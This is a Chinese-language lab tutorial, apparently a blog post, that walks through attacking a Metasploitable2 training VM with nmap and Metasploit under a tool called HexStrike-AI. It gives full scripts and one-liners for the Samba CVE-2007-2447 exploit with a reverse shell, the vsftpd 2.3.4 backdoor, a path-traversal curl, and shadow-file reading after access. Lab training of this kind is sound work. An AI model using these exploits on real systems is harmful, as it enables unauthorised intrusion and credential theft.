HexStrike-AI人工智能 渗透测试学习(Metasploitable2 192.168.1.4)完整流程总结

一、核心前提

  1. 环境基础:Kali Linux 系统 + 已安装配置好的 hexstrike-ai-master(含 Python 3.8+ 虚拟环境 hexstrike-env、依赖包);
  2. 目标靶机:Metasploitable2(IP:192.168.1.4,合法授权学习靶机,禁止用于非授权设备);
  3. 工具依赖:nmap(端口扫描)、msfconsole(漏洞利用),需提前安装(apt install nmap metasploit-framework -y);
  4. 网络要求:Kali 与靶机 192.168.1.4 互通(ping 192.168.1.4 能通),关闭 Kali 防火墙(ufw disable)。

二、完整操作流程(从启动到后渗透)

阶段 1:启动 HexStrike-AI 核心环境(无需客户端,稳定版)

1. 进入工具目录 + 激活虚拟环境

打开 Kali 终端,执行以下命令(确保路径正确,基于之前的目录结构):

bash

运行

复制代码
# 进入 hexstrike-ai-master 安装目录(默认在 root 家目录)
cd ~/hexstrike-ai-master
# 激活之前创建的虚拟环境(激活后命令行前缀显示 (hexstrike-env))
source hexstrike-env/bin/activate
2. 验证环境(可选,避免依赖问题)

激活后可执行 pip list,确认已安装 nmap 相关依赖;若提示工具缺失,执行 apt install 工具名(如 apt install nmap)。

阶段 2:信息收集(HexStrike-AI 核心逻辑:AI 解析指令 + 调用 nmap)

1. 创建扫描脚本(复刻 HexStrike-AI 扫描功能)

hexstrike-ai-master 目录下新建脚本,执行:

bash

运行

复制代码
nano hexstrike_scan.py
2. 粘贴扫描脚本代码(含 AI 结果分析)

python

运行

复制代码
import subprocess
import json
import sys

def hexstrike_ai_scan(target_ip):
    print(f"=== HexStrike AI 渗透测试学习 - 目标:{target_ip} ===")
    print("1. AI指令解析完成,开始执行信息收集...")
    
    # 核心扫描命令:端口扫描(1-1000常用端口)+ 服务版本识别 + 跳过主机存活检测(避免靶机禁ping)
    nmap_cmd = f"nmap -sV -T4 -Pn -p 1-1000 {target_ip}"
    try:
        print(f"\n2. 执行端口扫描命令:{nmap_cmd}")
        scan_result = subprocess.check_output(
            nmap_cmd, shell=True, stderr=subprocess.STDOUT, encoding="utf-8"
        )
        
        # AI 格式化分析结果(HexStrike 核心功能之一)
        print("\n3. HexStrike AI 分析结果:")
        print("="*50)
        print(scan_result)
        print("="*50)
        print("\n【AI总结】Metasploitable2靶机常见可利用点(供学习):")
        print("- 21端口(vsftpd 2.3.4):存在后门漏洞(CVE-2011-2523)")
        print("- 22端口(OpenSSH 4.7p1):版本较旧,可能存在弱口令")
        print("- 80端口(Apache 2.2.8):可能存在目录遍历、文件包含漏洞")
        print("- 139/445端口(Samba 3.X):存在命令执行漏洞(CVE-2007-2447)")
        print("- 512/513/514端口:可能存在rlogin登录漏洞")
        
    except subprocess.CalledProcessError as e:
        print(f"扫描出错:{e.output}")
    except Exception as e:
        print(f"程序异常:{str(e)}")

if __name__ == "__main__":
    target_ip = "192.168.1.4"  # 固定目标靶机IP
    hexstrike_ai_scan(target_ip)
3. 保存并运行扫描脚本
  • Ctrl+X → 输入 Y → 回车保存;

  • 执行脚本: bash

    运行

    复制代码
    python3 hexstrike_scan.py
4. 扫描结果关键信息提取(复习重点)
  • 开放端口及服务:21 (vsftpd 2.3.4)、22 (OpenSSH)、80 (Apache)、139/445 (Samba)、512-514 等;
  • 可利用漏洞:Samba(CVE-2007-2447)、vsftpd 后门(CVE-2011-2523)、Apache 目录遍历;
  • 靶机信息:MAC 地址(VMware 虚拟机)、系统(Unix/Linux)。

阶段 3:漏洞利用(从易到难,优先高成功率漏洞)

3.1 利用 Samba 漏洞(CVE-2007-2447)getshell(最易成功)
步骤 1:创建漏洞利用脚本

bash

运行

复制代码
nano hexstrike_exploit_samba.py
步骤 2:粘贴脚本代码(调用 Metasploit,复刻 HexStrike-AI 攻击逻辑)

python

运行

复制代码
import subprocess

def exploit_samba(target_ip, kali_ip):
    print(f"=== HexStrike AI 漏洞利用 - Samba (CVE-2007-2447) - 目标:{target_ip} ===")
    print("1. AI分析:Samba 3.X 存在命令执行漏洞,调用 Metasploit 框架攻击")
    
    # Metasploit 攻击脚本(HexStrike-AI 会自动生成的核心逻辑)
    msf_script = f"""
    use exploit/multi/samba/usermap_script  # 选择对应漏洞模块
    set RHOSTS {target_ip}                 # 靶机IP
    set PAYLOAD cmd/unix/reverse            # 反向连接 payload(靶机主动连Kali)
    set LHOST {kali_ip}                    # Kali 本机IP(靶机能访问的地址)
    set LPORT 4444                         # 监听端口(可自定义,如8888)
    run                                    # 执行攻击
    """
    
    # 写入 Metasploit 脚本文件
    with open("msf_samba.rc", "w") as f:
        f.write(msf_script.strip())
    
    # 执行攻击(调用 msfconsole 运行脚本)
    try:
        print(f"2. 开始攻击,监听端口:{kali_ip}:4444")
        result = subprocess.check_output(
            "msfconsole -r msf_samba.rc", shell=True, stderr=subprocess.STDOUT, encoding="utf-8"
        )
        print("\n3. 攻击结果:")
        print("="*50)
        print(result)
        print("="*50)
        print("【成功标志】出现 'Meterpreter session 1 opened' 即获取 shell")
    except Exception as e:
        print(f"攻击失败:{str(e)}")
        print("【排查方向】1. Kali与靶机互通 2. LHOST填对 3. 4444端口未被占用")

if __name__ == "__main__":
    target_ip = "192.168.1.4"  # 靶机IP
    kali_ip = "192.168.1.X"    # 替换为你的Kali IP(用 ifconfig 查看 eth0 的 inet 地址)
    exploit_samba(target_ip, kali_ip)
步骤 3:修改关键参数 + 保存运行
  • 必须替换 kali_ip = "192.168.1.X" 为实际 Kali IP(例:192.168.1.3);

  • 保存:Ctrl+X → Y → 回车

  • 运行脚本: bash

    运行

    复制代码
    python3 hexstrike_exploit_samba.py
步骤 4:攻击成功后操作
  • 若出现 Meterpreter session 1 opened,直接在当前终端输入 shell 命令(如 whoamils);
  • 若失败,执行 netstat -tuln | grep 4444 检查端口是否被占用,换端口(如 8888)重新运行。
3.2 利用 vsftpd 2.3.4 后门漏洞(快速 getshell)

无需脚本,直接在终端执行(HexStrike-AI 底层命令):

bash

运行

复制代码
# 调用 Metasploit 快速攻击 vsftpd 2.3.4 后门
msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS 192.168.1.4; run"
  • 成功标志:直接进入靶机 shell,可执行 whoami 验证(默认 root 权限);
  • 漏洞原理:vsftpd 2.3.4 输入 :) 会触发后门,创建管理员权限 shell。
3.3 验证 Apache 目录遍历漏洞(80 端口)

直接执行 curl 命令(HexStrike-AI 调用的验证逻辑):

bash

运行

复制代码
# 利用目录遍历读取靶机 /etc/passwd 文件(用户列表)
curl http://192.168.1.4/../../../../etc/passwd
  • 成功标志:返回靶机的用户信息(如 root:x:0:0:root:/root:/bin/bash);
  • 漏洞原因:Apache 配置不当,未限制目录访问范围。

阶段 4:后渗透学习(getshell 后核心操作)

1. 基础信息收集

bash

运行

复制代码
whoami          # 查看当前用户(Metasploitable2 默认 root 权限)
hostname        # 查看靶机主机名
uname -a        # 查看靶机内核版本(用于提权漏洞查找,如脏牛漏洞)
ls /root        # 查看 root 目录文件(敏感信息)
cat /etc/passwd # 查看所有用户列表
cat /etc/shadow # 查看用户密码哈希(可用于 John 破解学习)
2. 网络与进程信息

bash

运行

复制代码
netstat -antp   # 查看靶机开放端口、连接状态、关联进程
ps aux          # 查看靶机所有运行进程
ifconfig        # 查看靶机网络配置(是否有其他网段)
3. 敏感文件查找

bash

运行

复制代码
find / -name "*.conf"  # 查找配置文件(如数据库、服务配置)
find / -perm -4000     # 查找 SUID 权限文件(提权常用)

阶段 5:收尾操作(避免靶机残留)

  1. 退出靶机 shell:执行 exit(或 Ctrl+D);

  2. 关闭 HexStrike 虚拟环境:执行 deactivate

  3. 清理临时文件(可选): bash

    运行

    复制代码
    cd ~/hexstrike-ai-master
    rm -f msf_samba.rc  # 删除 Metasploit 脚本

三、关键原理与 HexStrike-AI 核心逻辑(复习重点)

  1. HexStrike-AI 本质:AI 自然语言解析 + 自动化调用安全工具(nmap/msfconsole/curl),无需手动写命令;
  2. 渗透测试核心流程:信息收集(nmap)→ 漏洞分析(AI 识别版本漏洞)→ 漏洞利用(msf)→ 后渗透(权限维持/信息窃取)
  3. 常用工具作用:
    • nmap:端口扫描 + 服务版本识别(渗透第一步,必须先做);
    • msfconsole:漏洞利用框架(集成大量 exp,适合新手学习);
    • curl:验证 Web 漏洞(如目录遍历、文件包含)。

四、常见问题排查(复习必记)

  1. 扫描失败(nmap 无结果):
    • 检查靶机是否开机、IP 是否正确(ping 192.168.1.4);
    • 关闭 Kali 防火墙(ufw disable);
  2. 攻击失败(无 Meterpreter 会话):
    • LHOST 填错:必须是靶机能访问的 Kali IP(不是 127.0.0.1);
    • 端口被占用:换 LPORT(如 8888),执行 kill -9 $(lsof -t -i:4444) 关闭占用进程;
    • 靶机防火墙:Metasploitable2 默认无防火墙,无需担心;
  3. 工具未找到(如 msfconsole: command not found):
    • 执行 apt install metasploit-framework -y 重新安装;
  4. 虚拟环境激活失败:
    • 确认路径正确:cd ~/hexstrike-ai-master

    • 重新创建虚拟环境(若损坏): bash

      运行

      复制代码
      python3 -m venv hexstrike-env
      source hexstrike-env/bin/activate

五、合规与安全提醒(必须牢记)

  1. 所有操作仅允许在 自己合法拥有的 Metasploitable2 靶机 执行,未经授权测试他人设备属于违法行为;
  2. 学习目的:掌握渗透测试流程与漏洞原理,而非攻击他人;
  3. 生产环境注意:禁止用 HexStrike-AI 或 Metasploit 扫描 / 攻击公网设备,需遵守《网络安全法》。

六、重复操作简化技巧(复习高效用)

  1. 整合启动脚本:将 "激活环境 + 扫描 + 攻击" 整合为一键脚本(nano hexstrike_all.sh),内容如下:

    bash

    运行

    复制代码
    #!/bin/bash
    cd ~/hexstrike-ai-master
    source hexstrike-env/bin/activate
    echo "=== 开始信息收集 ==="
    python3 hexstrike_scan.py
    echo -e "\n=== 开始 Samba 漏洞攻击 ==="
    python3 hexstrike_exploit_samba.py

    赋予执行权限:chmod +x hexstrike_all.sh,后续直接运行:./hexstrike_all.sh

  2. 记录 Kali IP:将 kali_ip 固定(如在路由器绑定静态 IP),避免每次修改脚本;

  3. 保存常用命令:将 msf 攻击命令、后渗透命令整理到记事本,重复使用时直接复制。

相关推荐
非凡ghost2 小时前
MusicPlayer2(本地音乐播放器)
前端·windows·学习·软件需求
时光803.2 小时前
快速搭建青龙面板Docker教程
windows·ubuntu·bash·httpx
蓝桉~MLGT2 小时前
Ai-Agent学习历程—— 阶段1——环境的选择、Pydantic基座、Jupyter Notebook的使用
人工智能·学习·jupyter
杰米不放弃4 小时前
AI大模型应用开发学习-26【20251227】
人工智能·学习
执笔论英雄4 小时前
【RL】Megatron使学习forward_backward_func返回值
学习
幺零九零零5 小时前
压测学习-JMeter
学习·jmeter
程途拾光1586 小时前
自监督学习在无标签数据中的潜力释放
人工智能·学习
软件技术NINI6 小时前
JavaScript性能优化实战指南
前端·css·学习·html
Blossom.1186 小时前
多模态大模型LoRA微调实战:从零构建企业级图文检索系统
人工智能·python·深度学习·学习·react.js·django·transformer